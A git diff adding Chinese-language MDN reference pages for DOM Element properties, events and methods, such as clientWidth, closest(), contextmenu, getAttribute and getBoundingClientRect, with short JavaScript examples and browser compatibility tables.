clientHeight 可以通过 CSS height + CSS padding - 水平滚动条高度 (如果存在)来计算.

+ +
+

备注: 此属性会将获取的值四舍五入取整数。 如果你需要小数结果, 请使用 {{ domxref("element.getBoundingClientRect()") }}.

+ +

备注:上面的有问题 因为使用element.getBoundingClientRect()只能获取元素的width / height,但是这个值是 offsetWidth / offsetHeight ,包括边框的长度,所以不能获取clientWidth / clientHeight

+
+ +

语法

+ +
var h = element.clientHeight;
+
+ +

返回整数 h,表示 element 的 clientHeight(单位像素)。

+ +

clientHeight 是只读的.

+ +

示例

+ +

Image:Dimensions-client.png

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}{{Spec2('CSSOM View')}}
+ +

备注

+ +

clientHeight是在IE浏览器对象模型中引入的属性。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/clientleft/index.html b/files/zh-cn/web/api/element/clientleft/index.html new file mode 100644 index 0000000000..67a80d9d1f --- /dev/null +++ b/files/zh-cn/web/api/element/clientleft/index.html @@ -0,0 +1,62 @@ +--- +title: Element.clientLeft +slug: Web/API/Element/clientLeft +translation_of: Web/API/Element/clientLeft +--- +

{{ Fx_minversion_header(3) }} {{ APIRef() }}

+ +

表示一个元素的左边框的宽度,以像素表示。如果元素的文本方向是从右向左(RTL, right-to-left),并且由于内容溢出导致左边出现了一个垂直滚动条,则该属性包括滚动条的宽度。clientLeft 不包括左外边距和左内边距。clientLeft 是只读的。

+ +

从 Gecko 1.9(Firefox 3 {{ Bug(111207) }})开始,基于 Gecko 的应用支持 clientLeft 属性。该属性在 Firefox 2 及更早的版本中不被支持。

+ +

layout.scrollbar.side  preference (译注:这个属性好像是只在火狐浏览器中才有)被设为 1 或 3,且文本方向被设为从右到左(RTL),则垂直滚动条位于左边,这会影响到 clientLeft 属性值的计算。

+ +

语法

+ +
var left = element.clientLeft;
+
+ +

示例 

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}{{Spec2("CSSOM View")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.clientLeft")}}

+ +

备注

+ +

clientLeft 首次出现于 MS IE DHTML 对象模型中。

+ +

元素的文本方向被设为从右到左后,其垂直滚动条的位置取决于 layout.scrollbar.side  preference

+ +

当元素设置 display: inline 后,无论是否有边框,clientLeft 始终返回 0

diff --git a/files/zh-cn/web/api/element/clienttop/index.html b/files/zh-cn/web/api/element/clienttop/index.html new file mode 100644 index 0000000000..24ae493df0 --- /dev/null +++ b/files/zh-cn/web/api/element/clienttop/index.html @@ -0,0 +1,44 @@ +--- +title: Element.clientTop +slug: Web/API/Element/clientTop +tags: + - API + - CSSOM View + - 属性 +translation_of: Web/API/Element/clientTop +--- +

{{ APIRef("DOM") }}

+ +

一个元素顶部边框的宽度(以像素表示)。不包括顶部外边距或内边距。clientTop 是只读的。

+ +

基于 Gecko 的应用从 Gecko 1.9(Firefox 3 {{ Bug(111207) }})开始支持 clientTop。该属性在 Firefox 2 或更早的版本中不被支持。

+ +

语法

+ +
var top = element.clientTop;
+ +

示例

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from www.best-cat-art.com

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom
+ +

备注

+ +

clientTop 首次出现于 MS IE DHTML 对象模型中。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/clientwidth/index.html b/files/zh-cn/web/api/element/clientwidth/index.html new file mode 100644 index 0000000000..562a9e1ad5 --- /dev/null +++ b/files/zh-cn/web/api/element/clientwidth/index.html @@ -0,0 +1,66 @@ +--- +title: Element.clientWidth +slug: Web/API/Element/clientWidth +tags: + - API + - 参考 + - 属性 +translation_of: Web/API/Element/clientWidth +--- +
{{APIRef("DOM")}}
+ +

内联元素以及没有 CSS 样式的元素的 clientWidth 属性值为 0。Element.clientWidth 属性表示元素的内部宽度,以像素计。该属性包括内边距 padding,但不包括边框 border、外边距 margin 和垂直滚动条(如果有的话)。

+ +

当在根元素(<html>元素)上使用clientWidth时(或者在<body>上,如果文档是在quirks(怪异)模式下),将返回viewport的宽度(不包括任何滚动条). This is a special case of clientWidth.

+ +
+

该属性值会被四舍五入为一个整数。如果你需要一个小数值,可使用 {{ domxref("element.getBoundingClientRect()") }}。

+
+ +

语法

+ +
var intElemClientWidth = element.clientWidth;
+
+ +

intElemClientWidth 是一个整数,表示元素的 clientWidthclientWidth 是一个只读属性。

+ +

示例

+ +

Image:Dimensions-client.png

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}{{Spec2("CSSOM View")}}
+ +

备注

+ +

clientWidth 首次出现于微软 IE 早期的 DHTML 对象模型中。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.clientWidth")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/closest/index.html b/files/zh-cn/web/api/element/closest/index.html new file mode 100644 index 0000000000..8e89eb8534 --- /dev/null +++ b/files/zh-cn/web/api/element/closest/index.html @@ -0,0 +1,142 @@ +--- +title: Element.closest() +slug: Web/API/Element/closest +tags: + - API + - DOM + - Element + - Method + - Reference +translation_of: Web/API/Element/closest +--- +
+

{{APIRef('Shadow DOM')}}

+
+ +

Element.closest() 方法用来获取:匹配特定选择器且离当前元素最近的祖先元素(也可以是当前元素本身)。如果匹配不到,则返回 null

+ +

语法

+ +
var closestElement = targetElement.closest(selectors);
+
+ +

参数

+ + + +

返回值

+ + + +

异常

+ + + +

示例

+ +

HTML

+ +
<article>
+  <div id="div-01">Here is div-01
+    <div id="div-02">Here is div-02
+      <div id="div-03">Here is div-03</div>
+    </div>
+  </div>
+</article>
+ +

JavaScript

+ +
var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// 返回 id 为 div-02 的那个元素
+
+var r2 = el.closest("div div");
+// 返回最近的拥有 div 祖先元素的 div 祖先元素,这里的话就是 div-03 元素本身
+
+var r3 = el.closest("article > div");
+// 返回最近的拥有父元素 article 的 div 祖先元素,这里的话就是 div-01
+
+var r4 = el.closest(":not(div)");
+// 返回最近的非 div 的祖先元素,这里的话就是最外层的 article
+ +

兼容

+ +

部分浏览器并不支持Element.closest(),但却支持了element.matches()(或拥有私有前缀,如IE9+),一个polyfill案例:

+ +
if (!Element.prototype.matches)
+    Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                                Element.prototype.webkitMatchesSelector;
+
+if (!Element.prototype.closest)
+    Element.prototype.closest = function(s) {
+        var el = this;
+        if (!document.documentElement.contains(el)) return null;
+        do {
+            if (el.matches(s)) return el;
+            el = el.parentElement;
+        } while (el !== null);
+        return null;
+    };
+ +

然而,如果你需要兼容到IE8,那么随后这个polyfill将会非常缓慢地运行到结束。并且,IE8只支持CSS2.1的选择器,并且使网页运行非常缓慢。

+ +
if (window.Element && !Element.prototype.closest) {
+    Element.prototype.closest =
+    function(s) {
+        var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+            i,
+            el = this;
+        do {
+            i = matches.length;
+            while (--i >= 0 && matches.item(i) !== el) {};
+        } while ((i < 0) && (el = el.parentElement));
+        return el;
+    };
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Element.closest")}}

+ +

兼容性说明

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/contextmenu_event/index.html b/files/zh-cn/web/api/element/contextmenu_event/index.html new file mode 100644 index 0000000000..37f3cadd36 --- /dev/null +++ b/files/zh-cn/web/api/element/contextmenu_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'Element: contextmenu event' +slug: Web/API/Element/contextmenu_event +tags: + - API + - DOM + - 上下文 + - 上下文菜单 + - 事件 + - 元素 + - 右击 + - 右键单击 + - 按钮 + - 菜单 + - 鼠标 +translation_of: Web/API/Element/contextmenu_event +--- +
{{APIRef}}
+ +

contextmenu 事件会在用户尝试打开上下文菜单时被触发。该事件通常在鼠标点击右键或者按下键盘上的菜单键时被触发,如果使用菜单键,该上下文菜单会被展示 到所聚焦元素的左下角,但是如果该元素是一棵DOM树的话,上下文菜单便会展示在当前这一行的左下角。

+ +

任何没有被禁用的鼠标右击事件 (通过调用事件的 {{domxref("Event.preventDefault", "preventDefault()")}} 方法) 将会使得 contextmenu 事件在目标元素上被触发。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(冒泡)Yes
Cancelable(可撤销)Yes
Interface(接口){{DOMxRef("MouseEvent")}}
Event handler property(事件处理器){{domxref("GlobalEventHandlers.oncontextmenu", "oncontextmenu")}}
+ +

实例

+ +

在下面的例子中,第一段内容被触发的 contextmenu 事件的默认行为被 preventDefault() 取消了,因此,在第一段右击鼠标时什么也不会发生,但是右键单击第二段内容时,则会出现标准的菜单内容,与平时右击普通页面出现的菜单内容一致。

+ +

HTML

+ +
<p id="noContextMenu">这个段落右键菜单已被禁用。</p>
+<p>但是这个段落没有被禁用。</p>
+ +

JavaScript

+ +
noContext = document.getElementById('noContextMenu');
+
+noContext.addEventListener('contextmenu', e => {
+  e.preventDefault();
+});
+
+ +

Result

+ +

{{EmbedLiveSample("Examples")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{ SpecName('HTML WHATWG', 'indices.html#event-contextmenu', 'contextmenu')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.contextmenu_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/createshadowroot/index.html b/files/zh-cn/web/api/element/createshadowroot/index.html new file mode 100644 index 0000000000..dde57148ca --- /dev/null +++ b/files/zh-cn/web/api/element/createshadowroot/index.html @@ -0,0 +1,31 @@ +--- +title: Element.createShadowRoot() +slug: Web/API/Element/createShadowRoot +translation_of: Web/API/Element/createShadowRoot +--- +

使用Element.createShadowRoot 创建的实例 阴影DOM。创建shadow DOM时,它始终附加到现有元素。创建shadow DOM之后,它所附加的元素称为{{glossary("shadow root")}}。

+ +
+

不推荐使用此方法,而使用{{DOMxRef("Element.attachShadow()","attachShadow()")}}。

+
+ +

句法

+ +
var shadowroot = element.createShadowRoot();
+
+ +

参数

+ +

没有参数。

+ +

结果值

+ +

返回{{DOMxRef("ShadowRoot")}}。

+ +

产品规格

+ +

任何规格都不再定义此功能。

+ +

浏览器兼容性

+ + diff --git a/files/zh-cn/web/api/element/currentstyle/index.html b/files/zh-cn/web/api/element/currentstyle/index.html new file mode 100644 index 0000000000..de73f3c504 --- /dev/null +++ b/files/zh-cn/web/api/element/currentstyle/index.html @@ -0,0 +1,76 @@ +--- +title: Element.currentStyle +slug: Web/API/Element/currentStyle +translation_of: Web/API/Element/currentStyle +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

概述

+ +

Element.currentStyle 是一个与 {{domxref("window.getComputedStyle")}}方法功能相同的属性。这个属性实现在旧版本的IE浏览器中.

+ +

规范

+ +

没有相关规范。

+ +

Microsoft 在MSDN中对该属性进行了描述.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/dblclick_event/index.html b/files/zh-cn/web/api/element/dblclick_event/index.html new file mode 100644 index 0000000000..b3244d8f64 --- /dev/null +++ b/files/zh-cn/web/api/element/dblclick_event/index.html @@ -0,0 +1,223 @@ +--- +title: dblclick +slug: Web/API/Element/dblclick_event +tags: + - dbclick +translation_of: Web/API/Element/dblclick_event +--- +

在单个元素上单击两次鼠标的指针设备按钮 (通常是小鼠的主按钮) 时, 将触发 dblclick 事件。

+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("MouseEvent")}}
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
多种:开始 drag/drop 操作;开始文本选择、开始滚动或移动操作(若支持该操作时,可与鼠标中键协同) 
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}EventTarget事件对象 (位于DOM树最上面的元素).
type {{readonlyInline}}DOMString事件类型.
bubbles {{readonlyInline}}Boolean是否冒泡
cancelable {{readonlyInline}}Boolean是否可被取消
view {{readonlyInline}}WindowProxydocument.defaultView (该文档的window 对象)
detail {{readonlyInline}}long (float)在短时间内发生的连续点击次数的计数。
currentTarget {{readonlyInline}}EventTarget被事件监听触发的节点.
relatedTarget {{readonlyInline}}EventTarget对于 mouseover, mouseout, mouseentermouseleave 事件: 值为与其互补的事件(比如mouseenter 就为mouseleave). 否则为null.
screenX {{readonlyInline}}long点击事件发生时鼠标对应的屏幕x轴坐标.
screenY {{readonlyInline}}long点击事件发生时鼠标对应的屏幕y轴坐标.
clientX {{readonlyInline}}long点击事件发生时鼠标对应的浏览器窗口的x轴坐标.
clientY {{readonlyInline}}long点击事件发生时鼠标对应的浏览器窗口的y轴坐标.
button {{readonlyInline}}unsigned short点击时按下的鼠标按钮: 左键=0, 中间按钮=1 (如果实现的话), 右键=2. 对于配置为左手使用按钮的操作被反转的鼠标,这些值从右向左读取。
buttons {{readonlyInline}}unsigned short当鼠标事件被触发时按钮的buttons: 左键=1, 右键=2, 中间按钮=4, 第四个按钮(通常是"返回")=8,第五个按钮(通常是"前进")=16.若有两个或以上的按钮按下,返回以逻辑或运算形成的合并值.例如左键右键同时按下就返回 3 (=1 | 2). 更多信息.
mozPressure {{readonlyInline}}float压力应用于接触或tabdevice时生成的事件的数量;该值介于0(最小压力)和1(最大压力)。
ctrlKey {{readonlyInline}}boolean当事件被触发时ctrl按键被按下时为true,否则为false。
shiftKey {{readonlyInline}}boolean当事件被触发时shift按键被按下时为true,否则为false。
altKey {{readonlyInline}}boolean当事件被触发时alt按键被按下时为true,否则为false。
metaKey {{readonlyInline}}boolean当事件被触发时meta按键被按下时为true,否则为false。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
On disabled form elements{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]只在{{HTMLElement("textarea")}} 以及某些{{HTMLElement("input")}} 元素上有效.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/dommousescroll_event/index.html b/files/zh-cn/web/api/element/dommousescroll_event/index.html new file mode 100644 index 0000000000..a68a7be558 --- /dev/null +++ b/files/zh-cn/web/api/element/dommousescroll_event/index.html @@ -0,0 +1,104 @@ +--- +title: DOMMouseScroll +slug: Web/API/Element/DOMMouseScroll_event +translation_of: Web/API/Element/DOMMouseScroll_event +--- +

{{ Non-standard_header() }}

+ +

The DOM DOMMouseScroll event is fired asynchronously when mouse wheel or similar device is operated and the accumulated scroll amount becomes over 1 line or 1 page since last event. It's represented by the {{ domxref("MouseScrollEvent") }} interface.

+ +

If you want to prevent the default action of mouse wheel events, it's not enough to handle only this event on Gecko because If scroll amount by a native mouse wheel event is less than 1 line (or less than 1 page when the system setting is by page scroll), other mouse wheel events may be fired without this event.
+
+ On Gecko 17 (Firefox 17) or later, you need to call preventDefault() of wheel events which must be fired for every native event.
+
+ On Gecko 16 or earlier, you need to call preventDefault() of MozMousePixelScroll event which must be fired for every native event.

+ +

Use standardized wheel event if available.

+ + + +

Properties

+ +

The event has only one additional property beyond standard events.

+ +

detail

+ +

The detail property describes the scroll more precisely, with positive values indicating scrolling downward and negative values indicating scrolling upward.

+ +

If the event represents scrolling up by a page, the value of detail is -32768. If the event indictes scrolling down by a page, the value is +32768. Any other value represents the number of lines to scroll, with the direction indicated by the value's sign.

+ +
+

Note: Trusted events are never sent with a value of 0 for detail.

+
+ +

Trusted events are never fired with 0.

+ +
+

Note: If the platform's native mouse wheel events only provide scroll distance by pixels, or if the speed can be customized by the user, the value is computed using the line height of the nearest scrollable ancestor element of the event's target. If that element's font size is smaller than {{pref("mousewheel.min_line_scroll_amount")}}, that preference's value is used as the line height.

+
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatGeckoDesktop("1.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("1.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/getattribute/index.html b/files/zh-cn/web/api/element/getattribute/index.html new file mode 100644 index 0000000000..2310d18095 --- /dev/null +++ b/files/zh-cn/web/api/element/getattribute/index.html @@ -0,0 +1,74 @@ +--- +title: Element.getAttribute() +slug: Web/API/Element/getAttribute +tags: + - Element.getAttribute() +translation_of: Web/API/Element/getAttribute +--- +
{{APIRef("DOM")}}
+ +

概要

+ +

getAttribute() 返回元素上一个指定的属性值。如果指定的属性不存在,则返回  null 或 "" (空字符串);具体细节, 请参阅  {{Anch("Notes")}} 部分。

+ +

语法

+ +
let attribute = element.getAttribute(attributeName);
+
+ +

上面:

+ + + +

例子

+ +
let div1 = document.getElementById("div1");
+let align = div1.getAttribute("align");
+
+alert(align);
+// shows the value of align for the element with id="div1"
+ +

备注

+ +

当在被标记为 HTML 文档中的一个 HTML 元素上调用此方法时,getAttribute() 会先将其参数转换为小写形式。

+ +

当指定的属性不存在于元素上时,所有浏览器(Firefox、Internet Explorer、Opera 最新版本、Safari、Konqueror 以及 iCab 等等)都返回 null,这也是当前 DOM 规范草案规定的。然而,旧的DOM 3 Core specification 认为此时正确的返回值应该是一个空字符串,一些 DOM 实现环境实现了该行为(behavior)。在 XUL (Gecko) 中,getAttribute 的实现遵从 DOM 3 Core specification,返回一个空字符串。因此,如果一个属性可能不存在于指定的元素上,在调用 getAttribute() 之前,你应该使用 {{domxref("element.hasAttribute()")}} 来检测该属性是否存在。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support29{{CompatVersionUnknown}}23{{CompatVersionUnknown}}{{CompatVersionUnknown}}6
+ +

{{DOMAttributeMethods}}

+ +

规范

+ + diff --git a/files/zh-cn/web/api/element/getattributenames/index.html b/files/zh-cn/web/api/element/getattributenames/index.html new file mode 100644 index 0000000000..d16ebf2b36 --- /dev/null +++ b/files/zh-cn/web/api/element/getattributenames/index.html @@ -0,0 +1,98 @@ +--- +title: Element.getAttributeNames() +slug: Web/API/Element/getAttributeNames +tags: + - getAttributeNames +translation_of: Web/API/Element/getAttributeNames +--- +

{{APIRef("DOM")}}

+ +

Element.getAttributeNames() 返回一个{{jsxref("Array")}},该数组包含指定元素(Element)的所有属性名称,如果该元素不包含任何属性,则返回一个空数组。

+ +

将 getAttributeNames() 与 {{domxref("Element.getAttribute","getAttribute()")}} 组合使用, 是一种有效替代 {{domxref("Element.attributes")}} 的使用方法.

+ +

语法

+ +
let attributeNames = element.getAttributeNames();
+
+ +

例子

+ +
// 遍历elements的元素
+for(let name of element.getAttributeNames())
+{
+	let value = element.getAttribute(name);
+	console.log(name, value);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-element-getattributenames", "Element.getAttributeNames")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(61)}}{{CompatGeckoDesktop(45)}}{{CompatNo}}{{CompatOpera(48)}}{{CompatSafari(9)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(61)}}{{CompatChrome(61)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(48)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/element/getattributenode/index.html b/files/zh-cn/web/api/element/getattributenode/index.html new file mode 100644 index 0000000000..47d7e5c206 --- /dev/null +++ b/files/zh-cn/web/api/element/getattributenode/index.html @@ -0,0 +1,48 @@ +--- +title: Element.getAttributeNode() +slug: Web/API/Element/getAttributeNode +tags: + - API + - DOM +translation_of: Web/API/Element/getAttributeNode +--- +

{{ APIRef("DOM") }}

+ +

概要

+ +

返回指定元素的指定属性节点

+ +

语法

+ +
var attrNode = element.getAttributeNode(attrName);
+
+ + + +

举例

+ +
// html: <div id="top" />
+var t = document.getElementById("top");
+var idAttr = t.getAttributeNode("id");
+alert(idAttr.value == "top")
+
+ +

注意

+ +

当在一个被标记为HTML文档的DOM中的HTML元素上调用这个方法时, getAttributeNode会将参数转变为小写形式。

+ +

Attr 节点继承自Node,但不被认为是文档树的一部分。Node上定义的常用属性,如 parentNode, previousSibling, 和 nextSibling 对于 Attr节点来说都为null。然而,你可以使用 ownerElement 来得到拥有这个属性的元素。

+ +

getAttribute 通常用于替换getAttributeNode方法,来获得元素的属性值。性能也更快.  性能对比是 element.id 大于 element.getAttribute('id') 大于 element.getAttributeNode('id').nodeValue.

+ +

{{ DOMAttributeMethods() }}

+ +

规范

+ + diff --git a/files/zh-cn/web/api/element/getattributenodens/index.html b/files/zh-cn/web/api/element/getattributenodens/index.html new file mode 100644 index 0000000000..5b1c9d8181 --- /dev/null +++ b/files/zh-cn/web/api/element/getattributenodens/index.html @@ -0,0 +1,36 @@ +--- +title: Element.getAttributeNodeNS() +slug: Web/API/Element/getAttributeNodeNS +tags: + - API + - DOM +translation_of: Web/API/Element/getAttributeNodeNS +--- +

{{ APIRef("DOM") }}

+ +

概要

+ +

通过命名空间 URI 和名称来获取属性节点。

+ +

语法

+ +
attributeNode = element.getAttributeNodeNS(namespace,nodeName)
+
+ + + +

== Example == TBD The example needs to be fixed pre> // html: <div id="top" /> t = document.getElementById("top"); specialNode = t.getAttributeNodeNS( "http://www.mozilla.org/ns/specialspace", "id"); // iNode.value = "full-top" </pre

+ +

笔记

+ +

getAttributeNodeNS 相比 getAttributeNode 更加具体,允许你在特定的命名空间里获取属性. 对应的 setter 方法是 setAttributeNodeNS.

+ +

{{ DOMAttributeMethods() }}

+ +

规格

+ +

DOM Level 2 Core: getAttributeNodeNS

diff --git a/files/zh-cn/web/api/element/getboundingclientrect/index.html b/files/zh-cn/web/api/element/getboundingclientrect/index.html new file mode 100644 index 0000000000..40d1d4488c --- /dev/null +++ b/files/zh-cn/web/api/element/getboundingclientrect/index.html @@ -0,0 +1,97 @@ +--- +title: Element.getBoundingClientRect() +slug: Web/API/Element/getBoundingClientRect +tags: + - API + - CSSOM View + - Method + - Refrence + - 方法 +translation_of: Web/API/Element/getBoundingClientRect +--- +
{{APIRef("DOM")}}
+ +

Element.getBoundingClientRect() 方法返回元素的大小及其相对于视口的位置。

+ +

如果是标准盒子模型,元素的尺寸等于width/height + padding + border-width的总和。如果box-sizing: border-box,元素的的尺寸等于 width/height

+ +

语法

+ +
rectObject = object.getBoundingClientRect();
+
+ +

+ +

返回值是一个 {{domxref("DOMRect")}} 对象,这个对象是由该元素的 {{domxref("Element.getClientRects", "getClientRects()")}} 方法返回的一组矩形的集合,就是该元素的 CSS 边框大小。返回的结果是包含完整元素的最小矩形,并且拥有left, top, right, bottom, x, y, width, 和 height这几个以像素为单位的只读属性用于描述整个边框。除了width 和 height 以外的属性是相对于视图窗口的左上角来计算的。

+ +

DOMRect 示例图空边框盒(译者注:没有内容的边框)会被忽略。如果所有的元素边框都是空边框,那么这个矩形给该元素返回的 widthheight 值为 0,lefttop 值为第一个 CSS 盒子(按内容顺序)的 top-left 值。

+ +

当计算边界矩形时,会考虑视口区域(或其他可滚动元素)内的滚动操作,也就是说,当滚动位置发生了改变,top和left属性值就会随之立即发生变化(因此,它们的值是相对于视口的,而不是绝对的)。如果你需要获得相对于整个网页左上角定位的属性值,那么只要给top、left属性值加上当前的滚动位置(通过 window.scrollX 和 window.scrollY),这样就可以获取与当前的滚动位置无关的值。

+ +

跨浏览器兼容

+ +

如果需要更好的跨浏览器兼容性,请使用 {{domxref("window.pageXOffset")}} 和 {{domxref("window.pageYOffset")}} 代替 window.scrollXwindow.scrollY。不能访问这些属性的脚本可以使用下面的代码:

+ +
// For scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  && typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
+// For scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  && typeof t.scrollTop == 'number' ? t : document.body).scrollTop
+ +

示例

+ +
// rect 是一个具有四个属性 left、top、right、bottom 的 DOMRect 对象
+//译者注:DOMRect 是 TextRectangle 或 ClientRect 的标准名称,他们是相同的。
+var rect = obj.getBoundingClientRect();
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

备注

+ +

该API返回的 DOMRect 对象在现代浏览器中可以被修改。而对于返回值为 DOMRectReadOnly 的旧版本,返回值并不能被修改。在IE和Edge浏览器中,无法向他们返回的 ClientRect 对象添加缺失的属性,对象可以防止 x 和 y 的回填。

+ +

由于兼容性问题(见下文),尽量仅使用 left, top, right, 和 bottom.属性是最安全的。

+ +

返回的 DOMRect对象中的属性不是自己的属性。 当使用in 和 for...in 运算符时能成功查找到返回的属性,但使用其他API(例如Object.keys())查找时将失败。 而且,ES2015和更高版本的功能(如Object.assign()和对象rest/spread)将无法复制返回的属性。

+ +
rect = elt.getBoundingClientRect()
+// The result in emptyObj is {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{width, ...emptyObj} = rect
+
+ +

DOMRect 中的 top, left, rightbottom 属性是使用对象的其他属性的值来计算获得的。

+ +

浏览器兼容性

+ + + +
{{Compat("api.Element.getBoundingClientRect")}}
+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/element/getclientrects/index.html b/files/zh-cn/web/api/element/getclientrects/index.html new file mode 100644 index 0000000000..6d8bbc94ab --- /dev/null +++ b/files/zh-cn/web/api/element/getclientrects/index.html @@ -0,0 +1,225 @@ +--- +title: Element.getClientRects() +slug: Web/API/Element/getClientRects +tags: + - API + - CSSOM + - 参考 + - 方法 +translation_of: Web/API/Element/getClientRects +--- +
{{ APIRef("DOM") }}
+ +

Element.getClientRects() 方法返回一个指向客户端中每一个盒子的边界矩形的矩形集合。

+ +

语法

+ +
var rectCollection = object.getClientRects();
+ +

返回值

+ +

返回值是ClientRect对象集合,该对象是与该元素相关的CSS边框。每个ClientRect对象包含一组描述该边框的只读属性——left、top、right和bottom,单位为像素,这些属性值是相对于视口的top-left的。即使当表格的标题在表格的边框外面,该标题仍会被计算在内。

+ +

